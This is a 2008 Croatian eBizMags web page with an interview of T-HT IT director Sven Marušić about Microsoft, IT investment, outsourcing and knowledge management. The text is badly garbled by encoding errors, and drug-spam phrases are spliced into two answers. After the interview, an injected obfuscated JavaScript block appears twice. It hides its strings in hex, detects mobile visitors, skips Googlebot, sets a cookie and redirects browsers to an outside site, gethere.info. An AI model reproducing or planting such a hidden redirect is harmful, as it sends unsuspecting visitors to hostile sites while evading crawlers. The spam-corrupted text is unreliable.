RSS

VIP interview: Sven MaruA?iAi??

Thu, Sep 18, 2008

VIP interview, ePoslovanje

Zadovoljstvo nam je zapoA?eti seriju eBizMags interview-a u kojima A?elimo predstaviti razmiA?ljanja struA?njaka i decision maker-a o stanju, problemima i izazovima IT zajednice u Hrvatskoj. Za naA?eg prvog sugovornika imamo gospodina Svena MaruA?iAi??a, koji trenutno obnaA?a funkciju izvrA?nog direktora za informatiku u kompaniji T-HT d.d.

-

Prije ove pozicije bili ste zaposleni u Microsoftu Hrvatska, gdje ste bili zaduA?eni za telekom rjeA?enja. Koliko je to iskustvo utjecalo na razvoj vaA?e karijere?

VeAi??ina mog poslovnog A?ivota je vezano upravo uz Microsoft. Tamo sam radio na mnogim pozicijama, od izrazito tehniA?kih (softver developer u Irskoj) do prodajnih i marketinA?kih na kraju u Hrvatskoj. Zadnje 3 godine, bio sam odgovaran za Microsoft vgr 100 street value. poslovanje u telekom sektoru, odnosno najveAi??e korisnike Microsoft tehnologija u telekomunikacijama u Hrvatskoj i BiH. Vjerojatno sam zbog prevelikog interesa za telekomunikacije, na kraju i preA?ao u pravi telekom business. U principu, ultimativni zadatak svakog ai??zsalesman-aai??? je postati ai??ztrusted advisorai??? svojim klijentima. Ja sam pretpostavljam, to postigao sa Hrvatskim Telekomom, jer mi je njihova uprava na kraju ponudila posao izvrA?nog direktora IT-a.

-

Ai??to biste istaknuli kao kljuA?ne A?imbenike Microsoftovog uspjeha? Kako gledate na Microsoftovo zaostajanje u IT rjeA?enjima orijentiranima Webu u odnosu ka konkurente, poput Google-a ili Yahoo-a?

Microsoft je prije 25 godina uspio od osobnog raA?unala stvoriti svima dostupnu platformu za razvoj aplikacija. Time je PC dobio jednu novu dimenziju ai??i?? postao je kuAi??ni ureAi??aj bezgraniA?nih moguAi??nosti. Nakon DOS-a i BASIC-a, promijenio se koncept raA?unarstva jer svaki je zainteresirani pojedinac mogao stvarati novu vrijednost, a obiA?ni korisnici su time dobivali priliku za znaA?ajno efikasniju organizaciju osobnog vremena, edukaciju, zabavu pa na kraju i poslovni uspjeh temeljen na koriA?tenju informacijskih tehnologija. Takve prednosti su tradicionalno bile dostupne samo velikim tvrtkama sa skupim raA?unalnim sustavima. SliA?an razvoj predviAi??am i telekomunikacijama, a tome sam upravo pisao u jednom postu na svom blogu www.rndidea.com .

Sredinom 90tih, Microsoft je propustio Internetski val, ali ga je uspjeA?no zajahao nekoliko godina kasnije. PoA?etkom 2000 tih, ponovo nije prepoznao search biznis, ali od tog gubitka se joA? nije oporavio. Ipak, kolega Dragan Petric je zanimljivo najavio u svojoj kolumni kako Microsoftova internetska bitka joA? nije izgubljena jer njegov posljednji deal sa Facebookom moA?e znaA?ajno promijeniti odnose na Internetskoj sceni. A?ini se da je Microsoft prepoznao epidemiju socijalnih mreA?a dovoljno rano, a Facebook je trenutaA?no najposjeAi??eniji Web2.0 servis.

Dodatno, pretpostavljam kako mnogi problemi Microsofta danas leA?e u brzom tempu birokratizacije kompanije, A?to mu onemoguAi??ava pravovremene reakcije na mnoge trA?iA?ne trendove koji se izmjenjuju izuzetnom brzinom. Dakle, muA?e ga klasiA?ni problemi megakorporacija ali takav trend zahvaAi??a veAi?? i Google, a Yahoo je odavno izgubio svoj trA?iA?ni status leader-a u Internetskim tehnologijama.

-

Sada ste na drugom kraju prodajnog lanca. Koliko je iz ove perspektive teA?e potroA?iti budA?et u usporedbi s ostvarenjem prodajnih ciljeva?

PotroA?iti budA?et je vrlo lako. Ipak, moj osnovni zadatak danas je investirati, a investicije podrazumijevaju povrat uloA?enih sredstava. To veAi?? nije nimalo lako, a ponekad mislim kako je stvarno teA?e pametno investirati nego ostvariti odreAi??eni budA?et iz prodajne perspektive.

-

Kako ste se priviknuli na promjenu paradigme iz stalnog poticanja promjene koja je prisutna na strani prodavatelja IT rjeA?enja, na stabilnost i razvoj koji se oA?ekuje u organizaciji? Koliko su izazovi prodavaA?a IT rjeA?enja sliA?ni izazovima njihovih kupaca?

U principu su vrlo razliA?iti. ProizvoAi??aA?i SW i HW tehnologije bi sigurno bili najsretniji kad bi svake godine tvrtke bile prisiljene na kompletnu zamjenu platformi. S druge strane, kupci bi A?eljeli izvuAi??i A?to veAi??i povrat iz uloA?enih sredstava u neku tehnologiju. Pri tome treba paA?ljivo odabirati trenutak u kojemu su potencijalni dobici uvoAi??enja nove platforme, veAi??i od rizika promjene. Dakle, paA?ljivo balansiranje izmeAi??u odrA?avanja stabilnosti postojeAi??ih rjeA?enja i ostvarivanja konkurentskih prednosti uvoAi??enjem novih rjeA?enja je kljuA? uspjeha u voAi??enju informacijskih tehnologija.

-

Kako gledate na manjak odgovornosti za opravdanje investicija u IT-u koji se javlja u Hrvatskoj? MoA?e li se to dovesti u vezu sa slabo definiranim povratom investicije koja se oA?ekuje od IT-a i zreloA?Ai??u trA?iA?ta?

Mi smo joA? uvijek relativno slabo razvijeno IT trA?iA?te. Ukoliko pogledate zadnju IDC studiju o IT trA?iA?tu u Hrvatskoj, vidjeti Ai??ete kako IT usluge zauzimaju relativno mali udjel u ukupnom trA?iA?tu dok i dalje prednjaA?i hardver. Iako se taj trend mijenja, proAi??i Ai??e sigurno joA? nekoliko godina dok se omjeri ne dovedu na razinu razvijenih ekonomija Zapadne Europe. Mislim da u ukupnih 1,2MLRD EUR, IT usluge zauzimaju tek neA?to viA?e od 300M EUR. Ovi podaci nam zapravo govore o A?injenici kako je joA? uvijek vaA?nije imati IT opremu, nego A?to uistinu radite s njom. LakA?e je opravdati investicije u skupe sistemske sale gdje se mogu pokazati redovi servera nego ulaganje u posebno prilagoAi??ene aplikacije koje su zapravo srce takvih sustava, odnosno zbog kojih takav hardware i postoji.

-

Outsourcing IT funkcija je joA? relativno rijedak kod nas. Koje je funkcije po vama poA?eljno izdvojiti zbog smanjenja troA?kova, a koje zadrA?ati kao kljuA?ne? Kako vidite daljnji razvoj ovog trA?iA?ta kod nas?

Ukoliko pratite osnovne postulate outsourcinga, onda moA?emo relativno lako odgovoriti na ova pitanja.

  • Ako neA?to ne znate raditi dobro, nemojte to outsourcati,
  • Kada ste jednom neA?to outsourcali, morate se jako truditi da ne izgubite kontrolu nad tim procesima,
  • Vitalne funkcije kompanije ne treba outsourcati, jer bi one prema definiciji trebale omoguAi??iti konkurentsku prednost kompanije ukoliko ih dobro izvrA?avate (npr. billing proces u telekomu),
  • Ukoliko ste sigurni kako odreAi??enu poslovnu funkciju moA?ete jeftinije dobiti na trA?iA?tu, a pri tome ostvariti veAi??u kvalitetu krenite u outsourcing,
  • Mislim da je nuA?no jasno odrediti inicijalne motive za outsourcing, odnosno kriterije uspjeha prema kojima se kasnije moA?e pratiti outsourcing partnera u izvoAi??enju zadataka.

Dakle, ukoliko imate relativno slabu potrebu za informatizacijom poslovnog procesa, moA?da se isplati outsourcati A?itav IT. S druge strane, ukoliko na efikasnosti procesa bazirate svoj poslovni uspjeh, treba biti vrlo paA?ljiv s ovakvim dalekoseA?nim odlukama.

-

IT zajednica je u posljednje vrijeme vrlo agresivna u promicanju nekih podruA?ja poput poslovnog odluA?ivanja, poslovne inteligencije ili menadA?menta znanja. Koliko su ove funkcije ispunile svoja oA?ekivanja u efikasnosti poslovanja?

Sven MarusicGartnerov Hype cycle vrlo lijepo opisuje ove fenomene. MeAi??utim, vremensku os na njihovoj krivulju je nemoguAi??e jednoznaA?no odrediti. Dakle, vrijeme potrebno za prelazak iz toA?e ai??zPeak of inflated expectationsai??? doai???platou of productivityai??? zna biti vrlo dugaA?ko. U meAi??uvremenu traje period ai??zdisulussionmentaai???, gdje se mnoge tehnologije zapostavljaju ili zaboravljaju jer inicijalno nisu ostvarile svoja oA?ekivanja. Vrlo je vjerojatno kako Ai??e se upravo te tehnologije vratiti u nekom trenutku u buduAi??nosti u poneA?to izmijenjenoj formi i biti A?iroko prihvaAi??ene, ne samo u akademskom nego i u poslovnom smislu.

-

Koliko je IT ograniA?io ova podruA?ja posebice menadA?ment znanja zbog svoAi??enja problematike na implementaciju koja je A?esto vrlo daleko od izvorne problematike?

Sada jedan moj osobni sud, pomalo heretiA?kiai??i??. Upravljanje znanjem nuA?no ukljuA?uje klasifikaciju kao ultimativnu metodu razvrstavanja podataka (znanja) u kategorije. Iako taj trend traje veAi?? godinama, pokuA?aji za hvatanjem kolektivnog i pojedinaA?nog znanja zapravo su uglavnom propadali. Povucimo paralelu sa internetom ai??i?? prije 10 godina, svi ozbiljniji search engine-i (osim Google-a koji je osnovan ‘98) ukljuA?ivali su directory servise. Direktoriji su zapravo bili pokuA?aj da se podaci klasificiraju. KonaA?na pobjeda search tehnologija je zapravo dokaz kako se znanjem (podacima) ne moA?e upravljati. MoA?e ga se dokumentirati, odnosno pohranjivati ukoliko izvori znanja imaju neki motiv za njegovo dijeljenje, ali sve naknadne klasifikacije, organizacije ili pokuA?aji upravljanja su online generic viagra sites, reviews. uzaludni upravo zbog goleme koliA?ine kolektivnog znanja, podataka, informacija ili bitova koji se stvaraju svakodnevno diljem svijeta. Podatke moA?emo samo pametno indexirati, a onda naknadno nestrukturirano pretraA?ivati.

Osim Interneta, isto vrijedi za korporacije odnosno kompanije svih veliA?ina.

-

Kako gledate na ulogu IT-a u buduAi??nosti poslovnog odluA?ivanja? SlaA?ete li se s tezom da i u e-dobu odluA?uje A?ovjek?

SlaA?em se, s malom ogradom. Mislim kako odluke bazirane na prepoznavanju uzoraka dogaAi??aja ili ponaA?anja u strukturiranim procesima moA?e puno bolje i efikasnije buy paroxetine online cheap, generic clomid. odraditi raA?unalo. MeAi??utim, takve su situacije vrlo rijetke. Recimo, Amazonov ai??zrecommendation engineai??? je primjer poslovne odluke kakvu nikad ne bi mogao donijeti A?ovjek.

S druge strane, uz sve analitiA?ke alate, raA?unalo nikad za A?ovjeka neAi??e donijeti odluku o kupovini neke tvrtke ai??i?? ili privatne kuAi??e. VeAi??ina strateA?kih odluka donosi se intuitivno, a tu su nam raA?unala od slabe pomoAi??i.

Gotovo se svakodnevno otvaraju nove A?kole koje obrazuju IT menadA?ere. Kakva je kod nas potreba za IT menadA?erima u usporedbi s IT profesionalcima. IT funkcije vezane uz implementaciju i odrA?avanje u svijetu odraAi??uju ljudi sa srednjim struA?nim obrazovanjem, a kod nas fakultetski obrazovani kadar.


PoA?aljite mi developere i sistem inA?enjere!

-

Na nekim je fakultetima prisutan suA?ivot telekomunikacijskog i IT curriculuma. Da li smatrate da je potrebno povezivati ovakve programe?

Apsolutno. Mislim kako je granica izmeAi??u IT-a i Telekoma, uvoAi??enjem all IP tehnologija definitivno izbrisana. Danas je tradicionalna komutacija govornih kanala, postala de facto SIP signalizacija na raznim (A?ak i heterogenim) application serverima. Usluge na trA?iA?tu sve viA?e idu u smjeru konvergencije ICT tehnologija, pa iznajmljivanje IT infrastrukture ili application hosting polako prelazi u mainstream telekom biznisa .Na kraju dana, struA?njak za billing ili provisioning sustav nije IT nego je telekom struA?njak.

-

Da li Hrvatskoj nedostaje menadA?erski kadar koji bi vladao problematikom struke, a uz to i imao menadA?ersko obrazovanje i iskustvo?

Vjerojatno nedostaje, jer pretpostavljam kako ste opisali idealni profile managera u tehnoloA?kim industrijama. Parafrazirat Ai??u Ramba Amadeusa, bolje viA?e dobrih managera, nego manje loA?ih! :-)

-

Sa Svenom MaruA?iAi??em razgovarao je Marko LackoviAi??.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}

Rating 4.43 out of 5
[?]
, , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 44 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

Vas Komentar